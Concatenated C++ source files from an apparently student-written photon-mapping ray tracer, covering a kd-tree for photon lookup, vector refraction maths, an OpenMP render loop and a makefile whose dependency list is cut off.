rhs.mats.push_back(mat);
}
if(token == "plane") {
s >> (obj = new plane_t(token));
std::cerr << "loaded " << obj->getname() << std::endl;
rhs.objs.push_back(obj);
}
if(token == "sphere") {
s >> (obj = new sphere_t(token));
std::cerr << "loaded " << obj->getname() << std::endl;
rhs.objs.push_back(obj);
}
}
}
return s;
}
std::ostream& operator<<(std::ostream& s, model_t& rhs)
{
light_t *lgt;
object_t *obj;
material_t *mat;
list_t<light_t* >::iterator litr;
list_t<material_t* >::iterator mitr;
list_t<object_t* >::iterator oitr;
// print out camera
s << rhs.cam;
// print out lights, materials, objects
for(litr = rhs.lgts.begin(); litr != rhs.lgts.end(); litr++) s << *litr;
for(mitr = rhs.mats.begin(); mitr != rhs.mats.end(); mitr++) s << *mitr;
for(oitr = rhs.objs.begin(); oitr != rhs.objs.end(); oitr++) s << *oitr;
return s;
}
object_t* model_t::find_closest(vec_t& pos, vec_t& dir,
double& dist, vec_t& hit, vec_t& N)
{
// candidate object
double c_dist;
vec_t c_hit,c_N;
object_t *c_obj=NULL;
// closest object thus far
double closest_dist=INFINITY;
vec_t closest_hit,closest_N;
object_t *closest_obj=NULL;
list_t<object_t* >::iterator oitr;
// check each object; basic list iteration
for(oitr = objs.begin(); oitr != objs.end(); oitr++) {
c_obj = (object_t *)*oitr;
// if intersection behind us, ignore
if((c_dist = c_obj->hits(pos,dir,c_hit,c_N))<0)
continue;
// if distance to hit is smaller, set closest
else if((0.00001 < c_dist) && (c_dist < closest_dist)) {
closest_dist = c_dist;
closest_obj = c_obj;
closest_hit = c_hit;
closest_N = c_N;
} else
continue;
}
if(closest_obj) {
hit = closest_hit;
N = closest_N;
dist += closest_dist;
}
return(closest_obj);
}
material_t* model_t::getmaterial(std::string name)
{
material_t *mat;
list_t<material_t* >::iterator mitr;
for(mitr = mats.begin(); mitr != mats.end(); mitr++) {
mat = (material_t *)*mitr;
assert(mat->getcookie() == MAT_COOKIE);
if(mat->getname() == name) return mat;
}
return NULL;
}
void model_t::shoot(std::vector<photon_t* >& photons)
{
list_t<light_t* >::iterator litr;
for(litr = lgts.begin(); litr != lgts.end(); litr++)
{
int i;
for(i = 0; i < 2000; i++)
{
photon_t* phot = new photon_t((*litr)->getlocation());
if(phot -> caustic(*this, 0))
{ photons.push_back(phot); }
}
for(i = 0; i < 2000; i++)
{
photon_t* phot = new photon_t((*litr)->getlocation());
if(phot -> global(*this, 0))
{ photons.push_back(phot); }
}
}
}
<file_sep>/kdtree.h
#ifndef KDTREE_H
#define KDTREE_H
#ifndef INFINITY
#define INFINITY MAXFLOAT
#endif
// forward declarations
template <typename T, typename P, typename C> class kdtree_t;
template <typename T, typename P, typename C>
std::ostream& operator<<(std::ostream&, const kdtree_t<T,P,C>&);
template <typename T, typename P, typename C>
class kdtree_t
{
private:
////////// Node /////////////////////
struct kdnode_t
{
P data;
T min, max;
kdnode_t *left, *right;
int axis;
kdnode_t(const P& dat = P(), const T& inmin = T(), const T& inmax = T(),
kdnode_t *l = NULL, kdnode_t *r = NULL, int x = 0) : \
data(dat), min(inmin), max(inmax), left(l), right(r), axis(x) \
{ };
// output stream operators of node
friend std::ostream& operator<<(std::ostream &s, const kdnode_t& rhs)
{
s << rhs.left;
s << rhs.data;
s << std::endl;
s << rhs.right;
return(s);
}
friend std::ostream& operator<<(std::ostream &s, kdnode_t *rhs)
{
if(rhs) { return(s << (*rhs)); }
else {return(s); }
}
};
////////////////////////////////////
public:
// constructors
kdtree_t() { root = NULL; };
// destructors
~kdtree_t() { clear(); };
// assignment operator
kdtree_t operator=(const kdtree_t& rhs)
{
if(this != &rhs)
{
clear();
root = clone(rhs.root);
}
return(*this);
}
// output stream operators
friend std::ostream& operator<< <>(std::ostream& s, const kdtree_t& rhs);
friend std::ostream& operator<<(std::ostream& s, const kdtree_t *rhs)
{ return (s << (*rhs)); };
////////// member functions //////////
// checks to see if the tree is empty
bool empty() const
{ return root == NULL ? true : false; }
// inserts a point into the kd tree
kdnode_t* insert(std::vector<P>& pt, const T& min, const T& max)
{ root = insert(pt, min, max, 0); }
// finds the nearest neighbor to a given point (pt)
void nn(T& center, P& pt, double& radius)
{ radius = INFINITY; nn(root, center, pt, radius); }
// finds k nearest neighbors to a given point (pt)
void knn(T& center, std::vector<P> pt, double& radius, int k)
{ radius = INFINITY; knn(root, center, pt, radius, k); }
// creates a list of data that is within the min and max passed by the function
void range(const T& min, const T& max, std::vector<P>& pt)
{ range(root, min, max, pt); }
// clears the entire kd tree
void clear() { clear(root); }
private:
kdnode_t *root;
kdnode_t* insert(std::vector<P>&, const T&, const T&, int);
void nn(kdnode_t* &, T&, P&, double&);
void knn(kdnode_t* &, T&, std::vector<P>&, double&, int);
void range(kdnode_t* &, const T&, const T&, std::vector<P>&);
void clear(kdnode_t* &);
kdnode_t* clone(kdnode_t* ) const;
};
#endif
<file_sep>/vector.cpp
#include <iostream>
#include <cmath>
#include "vector.h"
// compute the dot product of two vectors
double vec_t::dot(const vec_t& rhs) const
{
double s=0.0;
for(int i=0;i<3;i++) s += vec[i] * rhs[i];
return(s);
}
// compute the length of the vector v1
double vec_t::len() const
{
return(sqrt(dot(*this)));
}
// compute the dot product of two vectors
vec_t vec_t::norm() const
{
vec_t result(*this);
double length = len();
for(int i=0;i<3;i++) result[i] /= length;
return(result);
}
// compute the reflection vector: v = u - 2 (u dot n) n
vec_t vec_t::reflect(const vec_t& n) const
{
vec_t u(*this);
vec_t result;
// u - 2 (u dot n) n
result = u - 2.0 * u.dot(n) * n;
return result;
}
// compute the refraction vector
vec_t vec_t::refract(const vec_t& N, double n2) const
{
const float n1 = 1.000293;
double x;
double z;
vec_t refraction;
vec_t u(*this);
x = (1 - (pow((n1 / n2), 2) * (1 - pow(u.dot(N), 2))));
if(x < 0)
{return(u.reflect(N));}
// refraction = (n1/n2)(u - cosθ1N) - cosθ2N
refraction = (((n1 / n2) * (u - ((u.dot(N)) * N))) - ((sqrt(x)) * N));
return(refraction);
}
// compute the refraction vector
vec_t vec_t::defract(const vec_t& N, double n2) const
{
const float n1 = 1.000293;
double x;
double z;
vec_t refraction;
vec_t u(*this);
x = (1 - (pow((n1 / n2), 2) * (1 - pow(u.dot(N), 2))));
if(x < 0)
{return(u.reflect(N));}
// refraction = (n1/n2)(u - cosθ1N) - cosθ2N
refraction = (((n1 / n2) * (u + ((u.dot(N)) * N))) - ((sqrt(x)) * N));
return(refraction);
}
<file_sep>/photon.h
#ifndef PHOTON_H
#define PHOTON_H
#include <cstdlib>
#include <cstdio>
#include <cmath>
#include "ray.h"
#include "vector.h"
#include "model.h"
using namespace std;
class photon_t : public ray_t
{
public:
// Constructor with no parameters
photon_t()
: ray_t(vec_t(0.0, 0.0, 0.0), genrand_hemisphere(), 0.0)
{
power = vec_t(100.0, 100.0, 100.0);
}
// Constructors given a power vector
photon_t(const vec_t& p)
:ray_t(p, genrand_hemisphere(), 0.0)
{
power = vec_t(100.0, 100.0, 100.0);
}
// Copy constructor
photon_t(const photon_t& rhs)
{
power = rhs.power;
}
photon_t(const vec_t& x, const vec_t& y, double z = 0.0)
:ray_t(x, y, z)
{
power = vec_t(100.0, 100.0, 100.0);
}
// Assignment operator
const photon_t& operator=(const photon_t& rhs)
{
power = rhs.power;
dis = rhs.dis;
dir = rhs.dir;
pos = rhs.pos;
return *this;
}
///////// Friend Functions ////////////
// output stream
friend ostream& operator<<(ostream& s, photon_t& rhs)
{
return(s << rhs.pos[0] << " " << rhs.pos[1] << " " << rhs.pos[2] << " "<< rhs.power[0] << " " << rhs.power[1] << " " << rhs.power[2]);
}
// input stream
friend istream& operator>>(istream& s, photon_t& rhs)
{
return s >> rhs.power[0] >> rhs.power[1] >> rhs.power[2];
}
// operator [] accessor
const double& operator[](int i) const { return pos[i]; }
double& operator[](int i) { return pos[i]; }
// less than operator used to find the min
friend bool operator<(const photon_t& lhs, const photon_t& rhs)
{
for(int i = 0; i < 3; i++)
{
if(lhs.pos[i] > rhs.pos[i]) { return(false); }
}
return(true);
}
// greater than operator used to find the max
friend bool operator>(const photon_t& lhs, const photon_t& rhs)
{
for(int i = 0; i < 3; i++)
{
if(lhs.pos[i] < rhs.pos[i]) { return(false); }
}
return(true);
}
///////// Member functions /////////////
// Generate random number
double genrand(double lo, double hi)
{ return( (double)(((double)rand()/(double)RAND_MAX)*hi + lo) ); }
// Set the direction for the photon
vec_t genrand_hemisphere();
// takes care of caustic photons
bool caustic(model_t& model, int bounce);
// takes care of global photons
bool global(model_t& model, int bounce);
// lets others access the power member of photon
vec_t get_power() { return power; }
vec_t get_pos() { return pos; }
vec_t get_dir() { return dir; }
// updates the power value
void change_power(vec_t rhs) { power = rhs; }
// compute the distance between a passed photon and the "this" photon given a vec_t
double distance(const vec_t& rhs)
{ vec_t diff = pos - rhs; return(sqrt(diff.dot(diff))); }
// compute the distance between a passed photon and the "this" photon given a photon_t
double distance(const photon_t& rhs)
{ vec_t diff = pos - rhs.pos; return(sqrt(diff.dot(diff))); }
double distance(photon_t*& rhs)
{ vec_t diff = pos - rhs->pos; return(sqrt(diff.dot(diff))); }
int dim() { return 3; }
private:
vec_t power;
};
class photon_c
{
public:
// constructor
photon_c(int inputaxis = 0) { axis = inputaxis; }
bool operator()(const photon_t& p1, const photon_t& p2) const
{ return( p1[axis] < p2[axis] ); }
bool operator()(const photon_t*& p1, const photon_t*& p2) const
{ return( (*p1)[axis] < (*p2)[axis] ); }
bool operator()(photon_t * const & p1, photon_t * const & p2) const
{ return((*p1)[axis] < (*p2)[axis]); }
private:
int axis;
};
#endif
<file_sep>/kdtree.cpp
#include <iostream>
#include <iomanip>
#include <vector>
#include <algorithm>
#include <cmath>
#include "vector.h"
#include "pixel.h"
#include "camera.h"
#include "light.h"
#include "material.h"
#include "object.h"
#include "list.h"
#include "plane.h"
#include "model.h"
#include "ray.h"
#include "timer.h"
#include "photon.h"
#include "kdtree.h"
// outputs the entire tree
template <typename T, typename P, typename C>
std::ostream& operator<<(std::ostream& s, const kdtree_t<T, P, C>& rhs)
{
s.setf(ios::fixed,ios::floatfield);
s.precision(2);
if(rhs.empty())
{ s << "tree is empty" << std::endl; }
else
{ s << rhs.root; }
return s;
}
// deletes the entire tree through recursion, by deleting the left and right
// nodes of each node before deleteing the actual node, starting from the root
template <typename T, typename P, typename C>
void kdtree_t<T,P,C>::clear(kdnode_t* &t)
{
if(t != NULL)
{
clear(t->left);
clear(t->right);
delete t;
}
t = NULL;
}
// clones tree by recurrisvely cloning the left and right subtrees of the passed node
template <typename T, typename P, typename C>
typename kdtree_t<T,P,C>::kdnode_t* kdtree_t<T,P,C>::clone(kdnode_t* nod) const
{
if(nod == NULL) { return NULL; }
return( new kdnode_t(nod->data, nod->min, nod->max, clone(nod->left), clone(nod->right), nod->axis) );
}
template <typename T, typename P, typename C>
typename kdtree_t<T,P,C>::kdnode_t* kdtree_t<T,P,C>::insert(std::vector<P>& x, const T& min, const T& max, int d)
{
int axis = x.empty() ? 0 : d % x[0]->dim();
int m = 0; // the index for the median
P median;
T _min, _max; // bounding values of subspaces
std::vector<P> left, right;
typename std::vector<P>::iterator itr;
// return if there are no points in the vector
if(x.empty()) { return(NULL); }
// debugging
std::cerr << "depth: " << d << std::endl;
std::cerr << "size: " << x.size() << std::endl;
// sort the vector of points to obtain the median
sort(x.begin(), x.end(), C(axis));
// debugging
for(itr = x.begin(); itr < x.end(); itr++) { std::cerr << (**itr) << std::endl; }
// get actual median
m = x.size() / 2;
// create left and right subtrees
for(int i = 0; i < (int)x.size(); i++)
{
if(i < m) { left.push_back(x[i]); }
else if(i > m) { right.push_back(x[i]); }
else { median = x[m]; }
}
// create a new node
kdnode_t* node = new kdnode_t(median, min, max, NULL, NULL, axis);
// recursively add the left subtree
_min = min;
_max = max;
_max[axis] = (*median)[axis];
node->left = insert(left, _min, _max, (d + 1));
// recursively add the right subtree
_min = min;
_max = max;
_max[axis] = (*median)[axis];
node->right = insert(right, _min, _max, (d + 1));
return(node);
}
// find the nearest point to a point passed in the parameters
template <typename T, typename P, typename C>
void kdtree_t<T,P,C>::nn(kdnode_t* &nod, T& center, P& pt, double& radius)
{
double dist;
int axis;
if(nod == NULL) { return; }
// determine the node's distance to the point passed as a parameter
dist = center.distance(nod->data);
if(dist < radius)
{
radius = dist;
pt = nod->data;
}
// traverse down "closer" side of the tree
// testing each encountered node as we move
// down the tree the recursive calls will
// override the pt and radius arguments
// if a closer node than the current node is found
//
// also need to check to see if the current closest
// circle defined by the center and radius variables
// intersects the other side of the tree in which
// case we must search that subtree
axis = nod->axis;
if(center[axis] <= (*nod->data)[axis])
{
nn(nod->left, center, pt, radius);
if((center[axis] + radius) > (*nod->data)[axis])
{ nn(nod->right, center, pt, radius); }
}
else
{
nn(nod->right, center, pt, radius);
if((center[axis] - radius) >= (*nod->data)[axis])
{ nn(nod->left, center, pt, radius); }
}
}
// find k nearest points to the point passed as a parameter
template <typename T, typename P, typename C>
void kdtree_t<T,P,C>::knn(kdnode_t* &nod, T& center, std::vector<P>& pt, double& radius, int k)
{
double dist;
int axis;
typename std::vector<P>::iterator pitr;
if(nod == NULL) { return; }
// determine the node's distance to the point that is passed as a parameter
dist = center.distance(nod->data);
// instead of searching a set raduis, search a radius
// of infinity until k points are found
if((int)pt.size() < k)
{
// if the list is empty or the distance
// is larger than last node add the node to the end
if(pt.empty() || (dist > center.distance( pt.back())))
{ pt.push_back(nod->data); }
// else iterate through the list to find proper place to insert the point
else
{
for(pitr = pt.begin(); pitr != pt.end(); pitr++)
{
if(dist < center.distance(*pitr))
{ pt.insert(pitr, 1, nod->data); break; }
}
}
}
// else insert the current node into the list of closest points
// checking its distance compared to points that are in the list
// insert the point only if the distance is smaller than the
// last point on the list if it isn't just ignore the point
else
{
if(dist < center.distance( pt.back()))
{
for(pitr = pt.begin(); pitr != pt.end(); pitr++)
{
if(dist < center.distance(*pitr))
{ pt.insert(pitr, 1, nod->data); break; }
}
}
// since we already have k total points and have added
// one node we only need to pop one point off of the
// back of the list of points
if((int)pt.size() > k) { pt.pop_back(); }
}
// find the largest distance in the list of points
radius = center.distance(pt.back());
// exact same algorithm as nn except recursievly run knn instead of nn
axis = nod->axis;
if(center[axis] <= (*nod->data)[axis])
{
knn(nod->left, center, pt, radius, k);
if((center[axis] + radius) > (*nod->data)[axis])
{ knn(nod->right, center, pt, radius, k); }
}
else
{
knn(nod->right, center, pt, radius, k);
if((center[axis] - radius) >= (*nod->data)[axis])
{ knn(nod->left, center, pt, radius, k); }
}
}
template <typename T, typename P, typename C>
void kdtree_t<T,P,C>::range(kdnode_t* &nod, const T& min, const T& max, std::vector<P>& pt)
{
bool truth_value;
if(nod == NULL) { return; }
// checks to see if the data is in the range
for(int i = 0; i < (nod->data->dim()); i++)
{
if(((*nod->data)[i] < min[i]) || ((*nod->data)[i] > max[i]))
{ truth_value = false; break; }
}
// if data is in range it is added to the list
if(truth_value == true) { pt.push_back(nod->data); }
// the range is on both sides of the tree
if( ((*nod->data)[nod->axis] >= min[nod->axis]) &&
((*nod->data)[nod->axis] <= max[nod->axis]) )
{
range(nod->left,min,max,pt);
range(nod->right,min,max,pt);
}
// the range is all smaller and can be placed completely on the left of the tree
else if((*nod->data)[nod->axis] >= max[nod->axis])
{ range(nod->left,min,max,pt); }
// the range is all larger and can be placed completely on the right of the tree
else if((*nod->data)[nod->axis] <= min[nod->axis])
{ range(nod->right,min,max,pt); }
}
///////// specializations //////////
template class kdtree_t<photon_t, photon_t*, photon_c>;
template std::ostream& operator<<(std::ostream&, const kdtree_t<photon_t, photon_t*, photon_c>&);
<file_sep>/ray.h
#ifndef RAY_H
#define RAY_H
#include <cstdlib>
//#include "photon.h"
#include "kdtree.h"
// forward declarations
template <typename T, typename P, typename C>
class kdtree_t;
class photon_t;
class photon_c;
#define MAX_DIST 100
class model_t;
class ray_t
{
public:
// constructors (overloaded)
ray_t() : \
dis(0.0), \
pos(0.0,0.0,0.0), \
dir(0.0,0.0,0.0) \
{ };
ray_t(const vec_t& o, const vec_t& d, double r=0.0) : \
dis(r), \
pos(o), \
dir(d) \
{ };
// copy constructor
ray_t(const ray_t& rhs) : \
dis(rhs.dis), \
pos(rhs.pos), \
dir(rhs.dir) \
{ };
// operators (incl. assignment operator)
const ray_t& operator=(const ray_t& rhs)
{
if(this != &rhs) {
dis = rhs.dis;
pos = rhs.pos;
dir = rhs.dir;
}
return *this;
}
// methods
void trace(model_t&,rgb_t<double>&, int bounce, kdtree_t<photon_t, photon_t*, photon_c> kdtree);
void trace(model_t&,rgb_t<double>&, int bounce);
// destructors (default ok, no 'new' in constructor)
~ray_t()
{ };
protected:
double dis; // distance
vec_t pos; // position
vec_t dir; // direction
};
#endif
<file_sep>/main.cpp
#include <omp.h>
#include <iostream>
#include <iomanip>
#include <fstream>
#include <string>
#include <cstring>
#include <cassert>
#include <cmath>
#include <cstdlib>
#include <cstdio>
#include <vector>
#include "vector.h"
#include "pixel.h"
#include "camera.h"
#include "light.h"
#include "material.h"
#include "object.h"
#include "list.h"
#include "plane.h"
#include "model.h"
#include "ray.h"
#include "timer.h"
#include "photon.h"
#include "kdtree.h"
// prototypes
int main(int argc, char *argv[]);
int main(int argc, char *argv[])
{
model_t model; // model (the world)
std::ifstream model_ifs; // input file stream
atd::timer_t timer;
if(argc != 2) {
std::cerr << "Usage " << argv[0] << " <model_file>" << std::endl;
return 1;
}
// open file, read in model
model_ifs.open(argv[1],std::ifstream::in);
model_ifs >> model;
model_ifs.close();
// debugging
std::cerr << model;
int tid,ncores=1;
int w=model.getpixel_w(), h=model.getpixel_h();
int chunk;
double wx,wy,wz=0.0;
double ww=model.getworld_w(), wh=model.getworld_h();
vec_t pos=model.getviewpoint();
vec_t pix,dir;
ray_t *ray=NULL;
rgb_t<double> color;
rgb_t<uchar> *imgloc,*img=NULL;
double scale, stuck;
//photon_t *min;
//photon_t *max;
std::vector<photon_t *> photons;
std::vector<photon_t *>::iterator pwitr;
kdtree_t<photon_t, photon_t*, photon_c> kdtree;
model.shoot(photons);
/*
// determine number of stuck photons
stuck = (double)photons.size();
// come up with the scale that must be applied to the power of all the photons
scale = 1 / stuck;
// traverse the photons and scale them by the appropriate scale
for(pwitr = photons.begin(); pwitr != photons.end(); pwitr++)
{
vec_t power = (*pwitr)->get_power();
power = power * scale;
(*pwitr)->change_power(power);
}
*/
int sz = photons.size();
photon_t min = *photons[0];
photon_t max = *photons[sz-1];
for(int i=0;i<photons.size();i++)
{
vec_t pw = photons[i]->get_power();
pw[0]=pw[0]/sz;
pw[1]=pw[1]/sz;
pw[2]=pw[2]/sz;
photons[i]->change_power(pw);
if(*photons[i] > max) max=*photons[i];
if(*photons[i] < min) min=*photons[i];
}
/*
// compute the min and max to construct a kdtree with
min = photons.begin();
max = photons.begin();
for(pwitr = photons.begin(); pwitr != photons.end(); pwitr++)
{
if(min > (*pwitr)) { min = (*pwitr); }
if(max < (*pwitr)) { max = (*pwitr); }
}
*/
// construct kdtree with the vector of photons
kdtree.insert(photons, min, max);
img = new rgb_t<uchar>[w*h];
memset(img,0,3*w*h);
// figure out how many threads we have available, then calculate chunk,
// splitting up the work as evenly as possible
#pragma omp parallel private(tid)
{
if((tid = omp_get_thread_num())==0)
ncores = omp_get_num_threads();
}
chunk = h/ncores;
timer.start();
// two statements...
//#pragma omp parallel \
// shared(model,w,h,ww,wh,wz,pos,img) \
// private(tid,wx,wy,pix,dir,ray,color,imgloc)
//#pragma omp for schedule(static,chunk)
// ...or all-in-one
#pragma omp parallel for \
shared(model,w,h,ww,wh,wz,pos,img) \
private(tid,wx,wy,pix,dir,ray,color,imgloc, kdtree) \
schedule(static,chunk)
for(int y=h-1;y>=0;y--) {
for(int x=0;x<w;x++) {
wx = (double)x/(double)(w-1) * ww;
wy = (double)y/(double)(h-1) * wh;
// set pixel position vector (in world coordinates)
pix = vec_t(wx,wy,wz);
// compute the vector difference v3 = v2 - v1
dir = pix - pos;
// our ray is now {pos, dir} (in world coordinates), normalize dir
dir = dir.norm();
// zero out color
color.zero();
// spawn new ray
ray = new ray_t(pos,dir);
// trace ray
ray->trace(model, color, 0, kdtree);
// nuke this ray, we don't need it anymore, prevent memory leak
delete ray;
// where are we in the image (using old i*c + j)
imgloc = img + y*w + x;
// scale pixel by maxval, store at dereferenced image location
for(int i=0;i<3;i++) (*imgloc)[i] = static_cast<uchar>(255.0 * color[i]);
}
}
timer.end();
std::cerr << "cores: " << ncores << ", ";
std::cerr << "time: " << timer.elapsed_ms() << " ms" << std::endl;
// output image
std::cout << "P6 " << w << " " << h << " " << 255 << std::endl;
for(int y=h-1;y>=0;y--) {
for(int x=0;x<w;x++) {
imgloc = img + y*w + x;
std::cout.write((char *)imgloc,3);
}
}
std::ofstream file ("test.pts");
std::vector<photon_t* >::iterator pitr;
for(pitr = photons.begin(); pitr != photons.end(); pitr++)
{
file << *(*pitr) << std::endl;
}
file.close();
return 0;
}
<file_sep>/makefile
//CC =/opt/modules/gcc/4.5/bin/g++
CC = g++
INCLUDE = -I.
#CFLAGS = -g -m32 -DDEBUG
CFLAGS = -g -m32 -fopenmp
LDFLAGS = \
-L. \
-L/usr/lib
LDLIBS = \
-lc -lm
.cpp.o:
$(CC) -c $(INCLUDE) $(CFLAGS) $<
SRCS = \
vector.cpp \
list.cpp \
pixel.cpp \
material.cpp \
object.cpp \
plane.cpp \
sphere.cpp \
model.cpp \
camera.cpp \
light.cpp \
ray.cpp \
photon.cpp \
timer.cpp \
kdtree.cpp \
main.cpp
OBJS = $(SRCS:.cpp=.o)
all: main
main: $(OBJS)
$(CC) $(CFLAGS) $(INCLUDE) -o $@ $(OBJS) $(LDFLAGS) $(LDLIBS)
clean:
rm -f *.o core
rm -f *.a
rm -f main
rm -f *.ps *.pdf
depend: $(SRCS)
makedepend -- $(CLFAGS) -- $(SRCS)
gccmakedep -- $(CFLAGS) -- $(SRCS)
ENSCRIPTFLAGS = \
--fancy-header=mya2ps \
--columns=1 \
--pretty-print=makefile \
--ul-font=Times-Roman100 \
--underlay="asg01" \
--portrait
PS2PDFFLAGS = \
-dCompatibilityLevel=1.3 \
-dMaxSubsetPct=100 \
-dSubsetFonts=true \
-dEmbedAllFonts=true \
-dAutoFilterColorImages=false \
-dAutoFilterGrayImages=false \
-dColorImageFilter=/FlateEncode \
-dGrayImageFilter=/FlateEncode \
-dMonoImageFilter=/FlateEncode
ps:
enscript $(ENSCRIPTFLAGS) Makefile -p makefile.ps
enscript $(ENSCRIPTFLAGS) *.h -p interface.ps
enscript $(ENSCRIPTFLAGS) *.c* -p implementation.ps
pdf:
ps2pdf $(PS2PDFFLAGS) makefile.ps
ps2pdf $(PS2PDFFLAGS) interface.ps
ps2pdf $(PS2PDFFLAGS) implementation.ps
# DO NOT DELETE
vector.o: vector.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
